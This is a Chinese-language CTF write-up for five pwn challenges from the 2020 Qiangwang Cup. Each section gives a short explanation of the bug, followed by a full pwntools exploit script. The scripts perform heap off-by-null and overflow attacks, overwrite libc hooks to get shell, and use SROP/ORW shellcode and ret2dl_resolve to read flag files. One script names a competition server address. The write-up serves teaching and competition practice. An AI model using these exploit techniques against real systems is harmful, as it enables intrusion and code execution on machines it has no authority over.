2020强网杯

部分转自师弟

baby_diary

delete跟show没问题,在add功能中溢出一个字节

1

该flag的范围为[0~0xf],所以可以当一个off-by-null来做

难点在于堆块的构造和pre_size的伪造

1、堆块的构造,利用large bin和unsorted中残留的堆地址操作

2、pre_size,先off-by-null(需要堆内容全为’\x00’),再free后重新申请利用flag写入pre_size

具体步骤解释看exp注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130

#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
# context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./baby_diary')
elf = ELF('./baby_diary',checksec = False)
libc = elf.libc
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x4060))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla(">> ",str(idx))

def add(size,data="\n"):
choice(1)
sla("size: ",str(size - 1))
sda("content: ",data)

def view(idx):
choice(2)
sla("index: ",str(idx))

def delete(idx):
choice(3)
sla("index: ",str(idx))

def ret_flag(data):
flag = 0
for i in range(len(data)):
flag += ord(data[i])
while flag > 0xf:
flag = (flag>>4) + (flag&0xf)
return flag

add(0x1000-0x10-0x290-0x440) #令chunk2的地址为0x......00
#
add(0x430)#1
add(0x4f0)#2 unlink chunk
add(0x4e0)#3
add(0x4e0)#4 fack fd
add(0x4e0)#5
add(0x4e0)#6 fack bk
add(0x4e0)#7
add(0x2c0)#8

delete(4)
delete(2) #write heap address to fd and bk
delete(6)

delete(1) #hebing with chunk 2 to protect fd,bk
add(0x4e0)#1
add(0x4e0)#2

add(0x460)#4 由原先的0x440+0x500两个堆改成0x470+0x4d0是为了保护写进去chunk1的fd,bk
add(0x4c0)#6

delete(1)
delete(6)
add(0x4e0,b'\x00'*8 + b'\n') #1 bk
add(0x4c0)#6

delete(2)
delete(6)
add(0x600) #2 set 2 to largebin 使得fd写入一个堆地址
add(0x4e0) #6 fd

# off-by-null
add(0x1f0,'\x00\n') #9 这里把0x4d0的堆块切成两个小是全其释放后能进入tcache,防止double free报错
add(0x2c8,0x2c7*'\x00') #10 into tcache avoid double free

delete(10)
# debug(0x179b)
add(0x2c1,(0x2c0-1)*'\x00' + '\x05') #10 写pre_size为0x500
# unlink
delete(3)

add(0x28,"/bin/sh\x00\n")
view(9)
ru("content: ")
main_arena = u64(ru('\x7f').ljust(8,b'\x00')) - 96
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
show("main_arena",main_arena)
show("free_hook",free_hook)

delete(8)
delete(10)

add(0x1f0) #8
add(0x18,p64(free_hook) + b'\n') #10

add(0x2d0-0x10)
add(0x2d0-0x10,p64(system) + b'\n')
delete(3)
# debug()

p.interactive()

pipeline

append函数中两个size的比较是有符号数,因此可以用负数

2

而且read_str中的size强转成了int16,因此这里可以溢出;通过溢出覆盖下一个堆指针实现任意地址写。

3

在edit函数中使用了realloc函数申请堆,所以size为0时为free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
# context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./pipeline')
elf = ELF('./pipeline',checksec = False)
libc = elf.libc
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x202040))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla(">> ",str(idx))

def new():
choice(1)

def edit(idx,offset,size):
choice(2)
sla("index: ",str(idx))
sla("offset: ",str(offset))
sla("size: ",str(size))

def append(idx,size,data):
choice(4)
sla("index: ",str(idx))
sla("size: ",str(size))
sda("data: ",data)

def show(idx):
choice(5)
sla("index: ",str(idx))

new() #0
edit(0,0,0x420)
new() #1
edit(0,0,0) # free
edit(0,0,0x420)
show(0) #leak
ru("data: ")
main_arena = u64(rc(6).ljust(8,b'\x00')) - 96
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['__realloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
leak("main_arena",main_arena)

edit(1,0,0x50)
append(1,32,'rabbit\n')
# debug(0x18af)
# 溢出,覆盖指针,写realloc_hook
append(0,0x80001000,b"/bin/sh\x00" + b"A"*0x418 + p64(0) + p64(0x21) + p64(realloc_hook) + b'\n')
append(1,8,p64(system) + b"\n")

edit(0,0,0)
# debug()

p.interactive()

baby_pwn

edit函数中存在off-by-null

4

输出函数加密了,解密不难,可以解,但也可以用io_file(笨比就用io_file直接打了)

禁用了execve,所以需要orw,远程的环境读的是flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.terminal=['tmux','splitw','-h']
context.arch = 'amd64'
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./babypwn')
elf = ELF('./babypwn',checksec = False)
libc = elf.libc
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla(">>> ",str(idx))

def add(size):
choice(1)
sla("size:",str(size))

def edit(idx,data):
choice(3)
sla("index:",str(idx))
sda("content:",data)

def delete(idx):
choice(2)
sla("index:",str(idx))

def show(idx):
choice(4)
sla("index:",str(idx))

for i in range(7):
add(0xf8) #0~6

add(0xf8) #7
add(0x98) #8
add(0x88) #9
add(0x108) #10
add(0x108) #11

for i in range(7):
delete(i)

edit(9,'a'*0x88) #off-by-null
edit(9,'\x00'*0x80 + p64(0x100+0xa0+0x90))
edit(10,'\x00'*0xf0 + p64(0) + p64(0x121))

delete(7)
delete(10)

delete(8)
for i in range(7):
add(0xf8) #0~6

add(0xf8) #7
# \x60\x97
add(0x28) #10
edit(8,'\x60\x97')
add(0x98) #11
add(0x98) #12 stdout

edit(12,p64(0xfbad1800) + p64(0)*3 + '\x00')
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 0x3ed8b0
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
pop_rdi = libc_base + 0x000000000002155f
pop_rsi = libc_base + 0x0000000000023e6a
pop_rdx = libc_base + 0x0000000000001b96
pop_rax = libc_base + 0x00000000000439c8
syscall_ret = libc_base + 0x00000000000d2975
_open = libc_base + libc.sym['open']
leak("libc_base",libc_base)

delete(9) #0x90
add(0x1f0) #9
edit(9,'\x00'*0x70 + p64(free_hook))
add(0x88) #13
add(0x88) #14 free_hook

pay = p64(setcontext+53)
pay += p64(pop_rdi) + p64(3)
pay += p64(pop_rsi) + p64(free_hook + 0x78)
pay += p64(pop_rdx) + p64(0x20)
pay += p64(pop_rax) + p64(0)
pay += p64(syscall_ret)
pay += p64(pop_rdi) + p64(1)
pay += p64(pop_rax) + p64(1)
pay += p64(syscall_ret)
# print hex(len(pay))
pay += 'flag.txt\x00'
# print hex(len(pay))
# pause()
edit(14,pay)

frame = SigreturnFrame()
frame.rsp = free_hook + 0x8
frame.rip = _open
frame.rdi = free_hook + 0x78 # "flag.txt" string
frame.rsi = 0
frame.rdx = 0
# frame.rcx = free_hook
pay = str(frame)
# print hex(len(pay))
# pause()
edit(11,pay)
# debug(0xe69)
delete(11)

p.interactive()

[强网先锋] orw

add函数和delete函数都没有对index进行限制,所以可以越界写

5

写free@got实现read读shellcode,只能写8个字节,所以只需要控制必需的寄存器就行了,rax,rdi本身为0不需要修改,rdx可由index控制;所以只需要控制rsi寄存器即可。

5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.terminal=['tmux','splitw','-h']
context.arch = 'amd64'
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./pwn')
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla(">>",str(idx))

def add(idx,size,data):
choice(1)
sla("index:",str(idx))
sla("size:",str(size))
sda("content:",data)

def delete(idx):
choice(4)
sla("index:",str(idx))

# read
src1 = '''
mov rsi,rsp
syscall
jmp rsp
'''
pay = asm(src1)
print hex(len(pay))
pause()
# 修改free@got为src1用来读取shellcode
add(-25,8,pay + '\n')
# debug(0xfe7)
delete(0x20)
shellcode = '''
mov rdi,rsp
add rdi,0x42
mov rsi,0
mov rax,2
syscall
mov rdi,3
mov rsi,rsp
mov rdx,0x20
mov rax,0
syscall
mov rdi,1
mov rax,1
syscall
ret
'''
pause()
sl(asm(shellcode) + "flag\x00")
#debug()

p.interactive()

[强网先锋] no_output

7

输入0x20个字符到src变量中,在后面的strcpy中则会溢出一个0字节覆盖un_804C080为0,获得多一次的输入,绕过sub_8049385的检测进入函数sub_8049269

7

这里有一个浮点异常信号处理,需要使得v2[0]/v1触发浮点运算异常,且v1不能为0

可以构造分子为无符号最小整数,分母为-1,相除时发生溢出,从而调用目标函数

之后 dl_resolve即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./test')
elf = ELF('./test')
else:
p = remote("39.105.138.97","1234")
elf = ELF('./test')

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))


sl(p32(0))
# pause()
sd('a'*0x20)

# pause()
sl("\x00")

#gdb.attach(p,"b *0x080492D2")
sl(str(-0x80000000))
sl(str(-1))


bss = elf.bss()
leave_ret = 0x080491a5
PLT = 0x8049030
rel_plt = 0x8048414
elf_dynsym = 0x8048248
elf_dynstr = 0x8048318
stack_addr = bss + 0x600
read_plt = 0x80490C0
# write_plt = elf.symbols['write']

payload = 'a'*0x48
payload += p32(stack_addr)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(stack_addr)
payload += p32(100)
# p.recvuntil("input your name!\n")
p.sendline(payload)
pause()
#伪造dynsym地址:
fake_dynsym = stack_addr + 28
#hack_rel占用8位,那么payload中就有4*5 + 2*4=28位
align = 0x10 - ((fake_dynsym-elf_dynsym) & 0xf)
#((fake_dynsym-elf_dynsym) & 0xf)相当于除0x10后取余数,因为高位的数都能被0x10整除)
fake_dynsym = fake_dynsym + align
#因为dynsym结构体大小为0x10,这里就是补齐了,使其能被0x10整除

#伪造rel地址:
hack_rel = stack_addr + 20
main_got = elf.got['__libc_start_main']
index_dynsym_addr = (fake_dynsym - elf_dynsym)/0x10#能整除了,搞到它在dynsym中的下标值
r_info = (index_dynsym_addr<<8) | 0x7 #下标值和末尾的7组合还原成那个info模式
hack_rel_can = p32(main_got) + p32(r_info)#ida中也能看到,是rel的两个参数
#配置参数,main_got是为了得到libc_base,执行完了dl_runtime_resolve,会把system的真实地址填到main_got指针,也相当于改了got表~,r_info是得到system的libc偏移地址,从fix函数出来就会得到system的真实地址
index_offset = hack_rel - rel_plt#stack_addr + 28是要放hack_reld的地址
st_name = (fake_dynsym + 0x10) - elf_dynstr
#这里加0x10是因为下面的fake_dynsym的参数占用16位,才到system字符串的位置
fake_dynsym_can = p32(st_name) + p32(0) + p32(0) + p32(0x12)
#配置参数

payload = 'aaaa'#栈迁移要pop的ebp
payload += p32(PLT)
payload += p32(index_offset)#通过偏移调用函数
payload += 'aaaa'#下一条将要返回的指令的地址
payload += p32(stack_addr + 64)#函数参数,填到64处
payload += hack_rel_can #hack_rel的参数(占用8位)
payload += 'a'*align #因为align最大为16,这里就当作16位
payload += fake_dynsym_can #fake_dynsym的参数(占用16位)
payload += 'system\x00'
payload += 'a'*(64-len(payload))#填充字符,为了到64的位置
payload += '/bin/sh\x00'
p.sendline(payload)


p.interactive()
0%